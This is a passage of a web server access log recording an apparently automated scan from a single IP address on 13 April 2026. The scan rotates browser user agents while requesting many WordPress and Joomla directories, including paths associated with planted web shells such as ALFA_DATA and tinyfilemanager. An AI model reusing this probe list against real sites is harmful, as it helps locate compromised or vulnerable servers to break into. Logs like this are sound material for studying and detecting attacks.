Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:30 +0300] "GET /.well-known/pki-validation/ HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:30 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:30 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.37.22 - - [13/Apr/2026:06:29:30 +0300] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:30 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:30 +0300] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:30 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:30 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:30 +0300] "GET /admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:30 +0300] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:30 +0300] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.37.22 - - [13/Apr/2026:06:29:30 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:30 +0300] "GET /files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:30 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:30 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:30 +0300] "GET /wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:30 +0300] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:30 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:30 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:30 +0300] "GET /wp-includes/blocks/table/int/tmpl/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:31 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:29:31 +0300] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:31 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:31 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:31 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.37.22 - - [13/Apr/2026:06:29:31 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:31 +0300] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.37.22 - - [13/Apr/2026:06:29:31 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:31 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:31 +0300] "GET /autoload_classmap/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:31 +0300] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:31 +0300] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:31 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.37.22 - - [13/Apr/2026:06:29:31 +0300] "GET /components/com_jea/views/form/tmpl/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:31 +0300] "GET /templates/beez/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:31 +0300] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:31 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:31 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:31 +0300] "GET /css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:31 +0300] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:31 +0300] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:31 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:31 +0300] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:31 +0300] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.37.22 - - [13/Apr/2026:06:29:31 +0300] "GET /wp-content/plugins/up/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:31 +0300] "GET /fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:31 +0300] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:31 +0300] "GET /images/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:32 +0300] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:32 +0300] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:32 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:32 +0300] "GET /wp-content/themes/twentytwentythree/patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:32 +0300] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.37.22 - - [13/Apr/2026:06:29:32 +0300] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:32 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:32 +0300] "GET /wp-content/cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:32 +0300] "GET /assets/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:32 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:32 +0300] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:32 +0300] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:32 +0300] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.37.22 - - [13/Apr/2026:06:29:32 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:32 +0300] "GET /wp-content/plugins/phpadmin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:32 +0300] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:32 +0300] "GET /wp-content/plugins/view-more/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:32 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:32 +0300] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:32 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:32 +0300] "GET /wp-content/plugins/ioxi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:32 +0300] "GET /blog/wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:29:32 +0300] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:32 +0300] "GET /wp-content/themes/astra/inc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:32 +0300] "GET /wp-content/plugins/ccx/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:32 +0300] "GET /wp-includes/css/dist/edit-widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:29:32 +0300] "GET /wp-includes/Requests/src/Exception/Http/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:32 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:32 +0300] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:33 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:33 +0300] "GET /wp-content/themes/twentytwentytwo/assets/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:33 +0300] "GET /blog/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.37.22 - - [13/Apr/2026:06:29:33 +0300] "GET /blog/wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:33 +0300] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:33 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:33 +0300] "GET /.bod/.ll/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.37.22 - - [13/Apr/2026:06:29:33 +0300] "GET /wp-content/themes/twentytwentytwo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:33 +0300] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:33 +0300] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:33 +0300] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:33 +0300] "GET /wp-admin/css/colors/coffee/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:33 +0300] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:33 +0300] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:33 +0300] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:33 +0300] "GET /wp-includes/bk/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:33 +0300] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.37.22 - - [13/Apr/2026:06:29:33 +0300] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:33 +0300] "GET /wp-content/themes/hello-element/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.37.22 - - [13/Apr/2026:06:29:33 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:33 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:33 +0300] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.37.22 - - [13/Apr/2026:06:29:33 +0300] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:33 +0300] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:33 +0300] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:33 +0300] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:33 +0300] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.37.22 - - [13/Apr/2026:06:29:33 +0300] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.37.22 - - [13/Apr/2026:06:29:33 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:33 +0300] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:33 +0300] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:34 +0300] "GET /img/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:34 +0300] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:34 +0300] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:34 +0300] "GET /tinyfilemanager/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:34 +0300] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.37.22 - - [13/Apr/2026:06:29:34 +0300] "GET 